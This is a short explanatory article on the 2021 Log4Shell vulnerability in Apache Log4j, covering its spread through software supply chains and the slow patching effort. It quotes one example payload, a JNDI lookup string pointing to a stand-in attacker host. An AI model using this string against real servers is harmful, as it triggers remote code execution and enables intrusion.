Log4j's 'Log4Shell' bug was in everything — and the internet spent a month patching

In December 2021, a critical zero-day vulnerability (CVE-2021-44228, nicknamed 'Log4Shell') was discovered in Apache Log4j, a ubiquitous Java logging library used in millions of applications and servers worldwide. The vulnerability allowed an attacker to execute arbitrary code on a server by sending a specially crafted string — as simple as entering '${jndi:ldap://attacker.com}' in a login field.

The vulnerability was catastrophic because Log4j was embedded in an enormous range of software: enterprise applications, cloud services, game servers (Minecraft), IoT devices, and government systems. Many organizations did not even know they were running Log4j, because it was a transitive dependency buried deep in their software stack.

The Apache Software Foundation released patches, but the remediation was slow and complex: organizations had to identify every instance of Log4j in their systems, patch each one, and verify the fix. The vulnerability was actively exploited within hours of disclosure. The case illustrated the fragility of the modern software supply chain: a single vulnerability in a widely used open-source library can compromise millions of systems simultaneously.